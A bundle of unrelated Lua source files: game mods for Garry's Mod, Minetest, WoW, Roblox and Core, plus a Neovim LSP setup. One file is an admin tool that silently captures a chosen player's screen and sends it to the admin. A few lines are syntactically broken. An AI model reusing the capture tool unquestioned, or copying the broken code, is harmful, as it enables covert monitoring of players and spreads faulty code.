if ent:GetClass() == "prop_physics" then ent:SetColor(color) end
end
end
self.SpriteColor = color
end
HpwRewrite:AddSpell("Colovaria", Spell) |
local lspconfig = require("lspconfig")
local c = require("configs.completion.lsp.custom")
lspconfig.tsserver.setup(c.default({
root_dir = c.custom_cwd,
settings = {
tsserver = {
useBatchedBufferSync = true,
},
javascript = {
autoClosingTags = true,
suggest = {
autoImports = true,
},
updateImportsOnFileMove = {
enable = true,
},
suggestionActions = {
enabled = false,
},
},
},
}))
lspconfig.sumneko_lua.setup(c.default({
cmd = { "lua-language-server", string.format("--logpath=%s/.cache/nvim/sumneko_lua", vim.loop.os_homedir()) },
root_dir = c.custom_cwd,
settings = {
Lua = {
runtime = { version = "LuaJIT", path = vim.split(package.path, ";") },
telemetry = {
enable = false,
},
diagnostics = {
enable = true,
globals = { "vim", "awesome", "use", "client", "root", "s", "screen" },
},
workspace = {
library = {
[vim.fn.expand("$VIMRUNTIME/lua")] = true,
[vim.fn.expand("$VIMRUNTIME/lua/vim/lsp")] = true,
["/usr/share/awesome/lib"] = true,
["/usr/share/lua/5.1"] = true,
["/usr/share/lua/5.3"] = true,
["/usr/share/lua/5.4"] = true,
},
},
},
},
}))
lspconfig.pyright.setup(c.default({
settings = {
python = {
analysis = {
useLibraryCodeForTypes = false,
autoImportCompletions = true,
autoSearchPaths = true,
diagnosticMode = "openFilesOnly",
typeCheckingMode = "basic",
},
},
},
}))
-- lspconfig.jedi_language_server.setup(c.default({
-- settings = {
-- jedi = {
-- enable = true,
-- startupMessage = true,
-- markupKindPreferred = "markdown",
-- jediSettings = {
-- autoImportconfigs = {},
-- completion = { disableSnippets = false },
-- diagnostics = { enable = true, didOpen = true, didSave = true, didChange = true },
-- },
-- workspace = { extraPaths = {} },
-- },
-- },
-- }))
-- lspconfig.sqls.setup({
-- cmd = { "sqls", "-config", vim.loop.os_homedir() .. "/.config/sqls/config.yml" },
-- on_init = c.custom_on_init,
-- capabilities = c.custom_capabilities(),
-- on_attach = function(client, bufnr)
-- require("sqls").on_attach(client, bufnr)
-- end,
-- })
lspconfig.gopls.setup(c.default({
cmd = { "gopls", "serve" },
root_dir = c.custom_cwd,
settings = {
gopls = {
analyses = {
unusedparams = true,
},
staticcheck = true,
usePlaceholders = false,
},
},
}))
lspconfig.cssls.setup(c.default({
cmd = { "css-languageserver", "--stdio" },
root_dir = c.custom_cwd,
}))
lspconfig.jsonls.setup(c.default({
cmd = { "vscode-json-languageserver", "--stdio" },
root_dir = c.custom_cwd,
}))
lspconfig.yamlls.setup(c.default({
settings = {
yaml = {
format = {
enable = true,
singleQuote = true,
bracketSpacing = true,
},
editor = {
tabSize = 2,
},
schemas = {
["https://json.schemastore.org/github-workflow.json"] = "ci.yml",
["https://raw.githubusercontent.com/compose-spec/compose-spec/master/schema/compose-spec.json"] = "docker-compose.yml",
},
},
},
}))
local servers = { "dockerls", "clangd", "texlab", "bashls", "vimls" }
for _, lsp in ipairs(servers) do
lspconfig[lsp].setup(c.default())
end
|
object_tangible_storyteller_prop_pr_ch9_installation_creature_farm = object_tangible_storyteller_prop_shared_pr_ch9_installation_creature_farm:new {
}
ObjectTemplates:addTemplate(object_tangible_storyteller_prop_pr_ch9_installation_creature_farm, "object/tangible/storyteller/prop/pr_ch9_installation_creature_farm.iff")
|
local LibNumbers = Wheel("LibNumbers")
assert(LibNumbers, "UnitExtraPower requires LibNumbers to be loaded.")
-- Lua API
local _G = _G
local math_floor = math.floor
local pairs = pairs
local tonumber = tonumber
local tostring = tostring
local unpack = unpack
-- WoW API
local UnitCanAttack = UnitCanAttack
local UnitIsConnected = UnitIsConnected
local UnitIsDeadOrGhost = UnitIsDeadOrGhost
local UnitIsTapDenied = UnitIsTapDenied
local UnitPlayerControlled = UnitPlayerControlled
local UnitPower = UnitPower
local UnitPowerMax = UnitPowerMax
local UnitPowerType = UnitPowerType
-- Number Abbreviation
local short = LibNumbers:GetNumberAbbreviationShort()
local large = LibNumbers:GetNumberAbbreviationLong()
local UpdateValue = function(element, unit, min, max, powerType, powerID, disconnected, dead, tapped)
local value = element.Value or element:IsObjectType("FontString") and element
if value then
if (min == 0 or max == 0) and (not value.showAtZero) then
value:SetText("")
else
if value.showDeficit then
if value.showPercent then
if value.showMaximum then
value:SetFormattedText("%s / %s - %.0f%%", short(max - min), short(max), math_floor(min/max * 100))
else
value:SetFormattedText("%s / %.0f%%", short(max - min), math_floor(min/max * 100))
end
else
if value.showMaximum then
value:SetFormattedText("%s / %s", short(max - min), short(max))
else
value:SetFormattedText("%s", short(max - min))
end
end
else
if value.showPercent then
if value.showMaximum then
value:SetFormattedText("%s / %s - %.0f%%", short(min), short(max), math_floor(min/max * 100))
else
value:SetFormattedText("%s / %.0f%%", short(min), math_floor(min/max * 100))
end
else
if value.showMaximum then
value:SetFormattedText("%s / %s", short(min), short(max))
else
value:SetFormattedText("%s", short(min))
end
end
end
end
end
end
local UpdateColor = function(element, unit, min, max, powerType, powerID, disconnected, dead, tapped)
if element.OverrideColor then
return element:OverrideColor(unit, min, max, powerType, powerID, disconnected, dead, tapped)
end
local self = element._owner
local r, g, b
if disconnected then
r, g, b = unpack(self.colors.disconnected)
elseif dead then
r, g, b = unpack(self.colors.dead)
elseif tapped then
r, g, b = unpack(self.colors.tapped)
else
r, g, b = unpack(powerType and self.colors.power[powerType] or self.colors.power.UNUSED)
end
element:SetStatusBarColor(r, g, b)
end
local Update = function(self, event, unit)
if (not unit) or (unit ~= self.unit) then
return
end
local element = self.ExtraPower
if (element.PreUpdate) then
element:PreUpdate(unit)
end
local powerID, powerType = UnitPowerType(unit)
-- Check if the element is exclusive to a certain power type
if (element.exclusiveResource) then
-- If the new powertype isn't the one tracked,
-- we hide the element.
if (powerType ~= element.exclusiveResource) then
element.powerType = powerType
element:Clear()
element:Hide()
return
-- If the previous powertype wasn't the one tracked,
-- but the current one is, we need to show the element again.
elseif (element.powerType ~= element.exclusiveResource) then
element.powerType = powerType
if (self:IsElementEnabled("ExtraPower")) then
element:Show()
end
end
-- Check if the min should be hidden on a certain resource type
elseif element.ignoredResource then
-- If the new powertype is the one ignored,
-- we hide the element.
if (powerType == element.ignoredResource) then
element.powerType = powerType
element:Clear()
element:Hide()
return
-- If the previous powertype was the ignored type,
-- but the current is something else,
-- we need to show the element again.
elseif (element.powerType == element.ignoredResource) then
if (self:IsElementEnabled("ExtraPower")) then
element:Show()
end
end
end
if (element.powerType ~= powerType) then
element:Clear()
element.powerType = powerType
end
local disconnected = not UnitIsConnected(unit)
local dead = UnitIsDeadOrGhost(unit)
local min = dead and 0 or UnitPower(unit, powerID)
local max = dead and 0 or UnitPowerMax(unit, powerID)
local tapped = (not UnitPlayerControlled(unit)) and UnitIsTapDenied(unit) and UnitCanAttack("player", unit)
element:SetMinMaxValues(0, max)
element:SetValue(min)
element:UpdateColor(unit, min, max, powerType, powerID, disconnected, dead, tapped)
element:UpdateValue(unit, min, max, powerType, powerID, disconnected, dead, tapped)
if (self:IsElementEnabled("ExtraPower")) then
if (not element:IsShown()) then
element:Show()
end
end
if (element.PostUpdate) then
return element:PostUpdate(unit, min, max, powerType, powerID)
end
end
local Proxy = function(self, ...)
return (self.ExtraPower.Override or Update)(self, ...)
end
local ForceUpdate = function(element)
return Proxy(element._owner, "Forced", element._owner.unit)
end
local Enable = function(self)
local element = self.ExtraPower
if element then
element._owner = self
element.ForceUpdate = ForceUpdate
local unit = self.unit
if element.frequent and ((unit == "player") or (unit == "pet")) then
self:RegisterEvent("UNIT_POWER_FREQUENT", Proxy)
else
self:RegisterEvent("UNIT_POWER_UPDATE", Proxy)
end
self:RegisterEvent("UNIT_POWER_BAR_SHOW", Proxy)
self:RegisterEvent("UNIT_POWER_BAR_HIDE", Proxy)
self:RegisterEvent("UNIT_DISPLAYPOWER", Proxy)
self:RegisterEvent("UNIT_CONNECTION", Proxy)
self:RegisterEvent("UNIT_MAXPOWER", Proxy)
self:RegisterEvent("UNIT_FACTION", Proxy)
self:RegisterEvent("PLAYER_ALIVE", Proxy, true)
if (not element.UpdateColor) then
element.UpdateColor = UpdateColor
end
if (not element.UpdateValue) then
element.UpdateValue = UpdateValue
end
return true
end
end
local Disable = function(self)
local element = self.ExtraPower
if element then
element:Hide()
self:UnregisterEvent("UNIT_POWER_FREQUENT", Proxy)
self:UnregisterEvent("UNIT_POWER", Proxy)
self:UnregisterEvent("UNIT_POWER_BAR_SHOW", Proxy)
self:UnregisterEvent("UNIT_POWER_BAR_HIDE", Proxy)
self:UnregisterEvent("UNIT_POWER_UPDATE", Proxy)
self:UnregisterEvent("UNIT_DISPLAYPOWER", Proxy)
self:UnregisterEvent("UNIT_CONNECTION", Proxy)
self:UnregisterEvent("UNIT_MAXPOWER", Proxy)
self:UnregisterEvent("UNIT_FACTION", Proxy)
end
end
-- Register it with compatible libraries
for _,Lib in ipairs({ (Wheel("LibUnitFrame", true)), (Wheel("LibNamePlate", true)) }) do
Lib:RegisterElement("ExtraPower", Enable, Disable, Proxy, 9)
end
|
require("txtjpg4")
util.AddNetworkString("screengrab_start")
util.AddNetworkString("screengrab_part")
util.AddNetworkString("screengrab_fwd_init")
util.AddNetworkString("screengrab_fwd")
hook.Add("PlayerSay", "screengrab_playersay", function( ply, said )
if string.Left( string.lower(said), 3 ) == "!sg" then
local split = string.Split( said, " " )
table.remove( split, 1 )
SCRG.CheckArgs( ply, split )
return false
end
end)
SCRG.CanRun = {} -- Here you can add SteamIDs manually to allow access
function SCRG.CheckArgs( ply, args )
if !ply:IsAdmin() and !table.HasValue(SCRG.CanRun, ply:SteamID()) then
return
end
if args == nil or #args == 0 then
ply:SendLua("MsgC(Color(255,0,0), 'Not enough arguments specified'")
return
end
local name = args[1]
local quality = 10
if #args == 2 then
if type( tonumber(args[2])) == "number" then
quality = tonumber( args[2] )
if quality > 80 then
quality = 80
elseif quality < 10 then
quality = 10
end
else
ply:SendLua("MsgC(Color(255,0,0), 'Invalid quality entered, defaulting to 10')")
end
else
ply:SendLua("MsgC(Color(255,0,0), 'Invalid/no quality entered, defaulting to 10')")
end
local targ = false
--If more than one possible target, it just grabs the first one.
--Fix it yourself if you dont like it, I'm doing this for free and quickly.
for k, v in pairs( player.GetAll() ) do
if string.find( string.lower( v:Name() ), string.lower( args[1] ) ) != nil then
targ = v
elseif string.lower( v:SteamID( ) ) == string.lower( args[1] ) then
targ = v
end
end
if targ == false then
ply:SendLua("MsgC(Color(255,0,0), 'No target found')")
return
end
targ.SG = {}
targ.SG.INIT = ply
targ.SG.LEN = 0
targ.SG.COUNT = 0
net.Start("screengrab_start")
net.WriteUInt( quality, 32 )
net.Send( targ )
end
function SCRG.SaveFile(name,data)
if not file.Exists("screengrabs","DATA") then
file.CreateDir("screengrabs")
end
MsgN("Saved to screengrabs/"..name)
file.Write("screengrabs/"..name,data)
if TxtJpg("screengrabs/"..name)!="error" then
file.Delete("screengrabs/"..name)
end
end
concommand.Add("screengrab_player", function( ply, cmd, args )
SCRG.CheckArgs( ply, args)
end)
net.Receive("screengrab_start", function( x, ply )
-- Readying the transfer
if !IsValid( ply ) then
print("player isnt valid")
return
end
MsgN("Starting screencap on "..ply:Name())
local numparts = net.ReadUInt( 32 )
ply.SG.LEN = numparts
ply.SG.DATA = ""
if IsValid( ply.SG.INIT ) then
net.Start("screengrab_fwd_init")
net.WriteEntity( ply )
net.WriteUInt( numparts, 32 )
net.Send( ply.SG.INIT )
else
MsgN("Caller of SG is now nonvalid")
--Welp, the caller is gone. Not much point now.
--I'll probably make it save to text files in a later version
return
end
--Tell them to initiate the transfer
net.Start("screengrab_part")
net.Send( ply )
end)
net.Receive("screengrab_part", function( x, ply )
if !IsValid( ply ) then return end
if !IsValid( ply.SG.INIT ) then return end
if ply.SG.LEN == 0 then return end
local len = net.ReadUInt( 32 )
local data = net.ReadData( len )
net.Start("screengrab_fwd")
net.WriteEntity( ply )
net.WriteUInt( len, 32 )
net.WriteData( data, len )
net.Send( ply.SG.INIT )
ply.SG.COUNT = ply.SG.COUNT + 1
ply.SG.DATA = ply.SG.DATA..util.Decompress(data)
if ply.SG.COUNT == ply.SG.LEN then
MsgN("Finished SG")
SCRG.SaveFile(os.date("%m.%d.%Y-%H.%M.%S-"..ply:SteamID64()..".txt"),ply.SG.DATA)
ply.SG = nil
else
net.Start("screengrab_part")
net.Send( ply )
end
end) |
local modname = "desserts_and_ice"
local modpath = minetest.get_modpath(modname)
local mg_name = minetest.get_mapgen_setting("mg_name")
local S = minetest.get_translator(minetest.get_current_modname())
-- Ice cream bowls
minetest.register_node("desserts_and_ice:vanilla_icecream_bowl", {
description = S("Bowl of Vanilla Ice Cream"),
drawtype = "plantlike",
tiles = {"Vanillaicecreambowl.png"},
inventory_image = "Vanillaicecreambowl.png",
wield_image = "Vanillaicecreambowl.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(6, "farming:bowl"),
})
minetest.register_craft({
output = "desserts_and_ice:vanilla_icecream_bowl 2",
recipe = {
{"farming:vanilla_extract","",""},
{"mobs:egg","group:food_sugar",""},
{"farming:bowl","default:ice","farming:bowl"},
},
})
minetest.register_craft({
output = "desserts_and_ice:vanilla_icecream_bowl 2",
type = "shapeless",
recipe = {
"ice_and_tea:icecreamvanilla",
"ice_and_tea:icecreamvanilla",
"farming:bowl",
"farming:bowl",
},
})
minetest.register_node("desserts_and_ice:choco_icecream_bowl", {
description = S("Bowl of Chocolate Ice Cream"),
drawtype = "plantlike",
tiles = {"Chocolateicecreambowl.png"},
inventory_image = "Chocolateicecreambowl.png",
wield_image = "Chocolateicecreambowl.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(6, "farming:bowl"),
})
minetest.register_craft({
output = "desserts_and_ice:choco_icecream_bowl 2",
recipe = {
{"group:food_cocoa","",""},
{"mobs:egg","group:food_sugar",""},
{"farming:bowl","default:ice","farming:bowl"},
},
})
minetest.register_craft({
output = "desserts_and_ice:choco_icecream_bowl 2",
type = "shapeless",
recipe = {
"ice_and_tea:icecreamchocolate",
"ice_and_tea:icecreamchocolate",
"farming:bowl",
"farming:bowl",
},
})
minetest.register_node("desserts_and_ice:strawberry_icecream_bowl", {
description = S("Bowl of Strawberry Ice Cream"),
drawtype = "plantlike",
tiles = {"Strawberryicecreambowl.png"},
inventory_image = "Strawberryicecreambowl.png",
wield_image = "Strawberryicecreambowl.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(6, "farming:bowl"),
})
minetest.register_craft({
output = "desserts_and_ice:strawberry_icecream_bowl 2",
recipe = {
{"ethereal:strawberry","",""},
{"mobs:egg","group:food_sugar",""},
{"farming:bowl","default:ice","farming:bowl"},
},
})
minetest.register_craft({
output = "desserts_and_ice:strawberry_icecream_bowl 2",
type = "shapeless",
recipe = {
"ice_and_tea:icecreamstrawberry",
"ice_and_tea:icecreamstrawberry",
"farming:bowl",
"farming:bowl",
},
})
minetest.register_node("desserts_and_ice:banana_icecream_bowl", {
description = S("Bowl of Banana Ice Cream"),
drawtype = "plantlike",
tiles = {"Bananaicecreambowl.png"},
inventory_image = "Bananaicecreambowl.png",
wield_image = "Bananaicecreambowl.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(6, "farming:bowl"),
})
minetest.register_craft({
output = "desserts_and_ice:banana_icecream_bowl 2",
recipe = {
{"ethereal:banana","",""},
{"mobs:egg","group:food_sugar",""},
{"farming:bowl","default:ice","farming:bowl"},
},
})
minetest.register_craft({
output = "desserts_and_ice:banana_icecream_bowl 2",
type = "shapeless",
recipe = {
"ice_and_tea:icecreambanana",
"ice_and_tea:icecreambanana",
"farming:bowl",
"farming:bowl",
},
})
minetest.register_node("desserts_and_ice:matcha_icecream_bowl", {
description = S("Bowl of Matcha Ice Cream"),
drawtype = "plantlike",
tiles = {"Matchaicecreambowl.png"},
inventory_image = "Matchaicecreambowl.png",
wield_image = "Matchaicecreambowl.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(6, "farming:bowl"),
})
minetest.register_craft({
output = "desserts_and_ice:matcha_icecream_bowl 2",
recipe = {
{"ice_and_tea:crushedmatcha","",""},
{"mobs:egg","group:food_sugar",""},
{"farming:bowl","default:ice","farming:bowl"},
},
})
minetest.register_craft({
output = "desserts_and_ice:matcha_icecream_bowl 2",
type = "shapeless",
recipe = {
"ice_and_tea:icecreammatcha",
"ice_and_tea:icecreammatcha",
"farming:bowl",
"farming:bowl",
},
})
-- pudding, yum
minetest.register_node("desserts_and_ice:choco_pudding", {
description = S("Choco Pudding"),
drawtype = "plantlike",
tiles = {"Chocopudding.png"},
inventory_image = "Chocopudding.png",
wield_image = "Chocopudding.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(10, ""),
})
minetest.register_craft({
output = "desserts_and_ice:choco_pudding",
recipe = {
{"farming:cornstarch", "mobs:bucket_milk",""},
{"group:food_sugar","mobs:egg",""},
{"group:food_cocoa","",""},
},
replacements = {
{"mobs:bucket_milk","bucket:bucket_empty"},
{"farming:cornstarch","farming:bowl"},
},
})
minetest.register_node("desserts_and_ice:lemon_pudding", {
description = S("Lemon Pudding"),
drawtype = "plantlike",
tiles = {"Lemonpudding.png"},
inventory_image = "Lemonpudding.png",
wield_image = "Lemonpudding.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(10, ""),
})
minetest.register_craft({
output = "desserts_and_ice:lemon_pudding",
recipe = {
{"farming:cornstarch", "mobs:bucket_milk",""},
{"group:food_sugar","mobs:egg",""},
{"ethereal:lemon","",""},
},
replacements = {
{"mobs:bucket_milk","bucket:bucket_empty"},
{"farming:cornstarch","farming:bowl"},
},
})
-- Banana split
minetest.register_node("desserts_and_ice:banana_split", {
description = S("Banana Split"),
drawtype = "torchlike",
tiles = {"Bananasplit.png"},
inventory_image = "Bananasplit.png",
wield_image = "Bananasplit.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(5, "farming:bowl"),
})
minetest.register_craft({
output = "desserts_and_ice:banana_split 2",
recipe = {
{"ice_and_tea:icecreamvanilla","ice_and_tea:icecreamchocolate","ice_and_tea:icecreamstrawberry"},
{"group:food_cocoa","ethereal:banana",""},
{"farming:bowl","farming:bowl",""},
},
})
minetest.register_craft({
output = "desserts_and_ice:banana_split 2",
recipe = {
{"desserts_and_ice:vanilla_icecream_bowl","desserts_and_ice:choco_icecream_bowl","desserts_and_ice:strawberry_icecream_bowl"},
{"group:food_cocoa","ethereal:banana",""},
{"farming:bowl","farming:bowl",""},
},
replacements = {
{"desserts_and_ice:vanilla_icecream_bowl","farming:bowl"},
{"desserts_and_ice:choco_icecream_bowl","farming:bowl"},
{"desserts_and_ice:strawberry_icecream_bowl","farming:bowl"},
},
})
-- Maple extraction and Syrup :3
minetest.register_craftitem("desserts_and_ice:mapleliquid", {
description = S("Maple Liquid"),
inventory_image = "Mapleliquid.png",
on_use = minetest.item_eat(4),
groups = {food_sugar = 1, flammable = 2,},
})
minetest.register_node("desserts_and_ice:empty_mapletrunk", {
description = S("Empty Maple Trunk"),
tiles = {
"maple_trunk_top.png",
"maple_trunk_top.png",
"maple_trunk.png"
},
groups = {tree = 1, choppy = 2, oddly_breakable_by_hand = 1, flammable = 2},
sounds = default.node_sound_wood_defaults(),
paramtype2 = "facedir",
is_ground_content = false,
on_place = minetest.rotate_node,
})
minetest.register_abm({
nodenames = {"desserts_and_ice:empty_mapletrunk"},
interval = 10.0,
chance = 10,
action = function(pos,node)
if minetest.find_node_near(pos, 3, {"maple:leaves"}) then
node.name = "maple:trunk"
minetest.swap_node(pos,node)
end
end
})
minetest.register_craft({
output = "maple:wood 4",
recipe = {{"desserts_and_ice:empty_mapletrunk"}}
})
minetest.register_tool("desserts_and_ice:SyrupTap", {
description = S("Syrup Tap"),
inventory_image = "Tree_tap.png",
on_use = function(itemstack, user, pointed_thing)
if pointed_thing.type ~= "node" then
return
end
local pos = pointed_thing.under
if minetest.is_protected(pos, user:get_player_name()) then
minetest.record_protection_violation(pos, user:get_player_name())
return
end
local node = minetest.get_node(pos)
local node_name = node.name
if node_name ~= "maple:trunk" then
return
end
node.name = "desserts_and_ice:empty_mapletrunk"
minetest.swap_node(pos, node)
minetest.handle_node_drops(pointed_thing.above, {"desserts_and_ice:mapleliquid"}, user)
if not minetest.creative_mode then
local item_wear = tonumber(itemstack:get_wear())
item_wear = item_wear + 819
if item_wear > 65535 then
itemstack:clear()
return itemstack
end
itemstack:set_wear(item_wear)
end
return itemstack
end
})
minetest.register_node("desserts_and_ice:maplesyrup", {
description = S("Bottle of Maple Syrup"),
tiles = {"Maplesyrup.png"},
inventory_image = "Maplesyrup.png",
wield_image = "Maplesyrup.png",
groups = {food_sugar = 1, flammable = 2},
drawtype = "plantlike",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(7)
})
minetest.register_craft({
output = "desserts_and_ice:maplesyrup",
recipe = {
{"desserts_and_ice:mapleliquid","desserts_and_ice:mapleliquid","desserts_and_ice:mapleliquid",},
{"","vessels:glass_bottle","",},
{"","",""},
}
})
minetest.register_node("desserts_and_ice:pancake", {
description = S("Pancake"),
drawtype = "plantlike",
tiles = {"Pancake.png"},
inventory_image = "Pancakeitem.png",
wield_image = "Pancakeitem.png",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
selection_box = {
type = "fixed",
fixed = {-4 / 16, -0.5, -4 / 16, 4 / 16, 7 / 16, 4 / 16},
},
groups = {snappy = 2, dig_immediate = 3, flammable = 2,
attached_node = 1},
on_use = minetest.item_eat(12, ""),
})
minetest.register_craft({
output = "desserts_and_ice:pancake",
recipe = {
{"farming:flour","farming:flour","mobs:bucket_milk"},
{"group:food_sugar", "mobs:egg", "mobs:butter"},
{"desserts_and_ice:maplesyrup", "", ""},
},
replacements = {
{"mobs:bucket_milk", "bucket:bucket_empty"},
{"desserts_and_ice:maplesyrup","desserts_and_ice:syrup_bottle"},
}
})
minetest.register_craft({
output = "desserts_and_ice:SyrupTap",
recipe = {
{"default:steel_ingot","default:stick",""},
{"","default:stick",""},
{"","",""},
},
}
|
local ui = script.Parent
local Roact = require(game.ReplicatedStorage.Roact)
local InfoDrop = require(ui.InfoDrop)
local green = Color3.fromHSV(0.3405, 0.5812, 0.6275)
local orange = Color3.fromHSV(0.0587, 1.0000, 0.9020)
local red = Color3.fromHSV(0.0000, 0.8470, 0.7176)
local function StatusBar(props)
local percent = props.ValPercent or 1
local barColor
--if props.ValPercent < 0.5 then
--barColor = props.StartCol:Lerp(props.MidCol, percent*2)
--else
--barColor = props.MidCol:Lerp(props.EndCol, percent*2 - 1)
--end
barColor = props.StartCol
return Roact.createElement("Frame", {
Name = "StatusBar",
BackgroundTransparency = 0.5,
Position = props.Position,
Size = props.Size,
BackgroundColor3 = Color3.fromRGB(143, 143, 143),
BorderSizePixel = 0,
}, {
Roact.createElement("Frame", {
Name = "StatusIndicator",
BackgroundTransparency = 0,
Size = UDim2.new(percent, 0, 1, 0),
BackgroundColor3 = barColor,
BorderSizePixel = 0,
}, {
Roact.createElement(InfoDrop, {
Position = UDim2.new(1, 0, 0, 0),
Color = barColor,
Text = props.Value,
TextColor = Color3.new(1,1,1),
})
})
})
end
return StatusBar |
local EQUIPMENT = script:FindAncestorByType("Equipment")
local BONUS_MOVEMENT = script:GetCustomProperty("BonusMovement")
EQUIPMENT.equippedEvent:Connect(function(equipment, player)
player.maxWalkSpeed = player.maxWalkSpeed + BONUS_MOVEMENT
end)
EQUIPMENT.unequippedEvent:Connect(function(equipment, player)
player.maxWalkSpeed = player.maxWalkSpeed - BONUS_MOVEMENT
end) |
local API = require(script:GetCustomProperty("APITest"))
API.SaveInfo("Hello World")
Task.Wait(3)
print(API.GetInfo("value")) |
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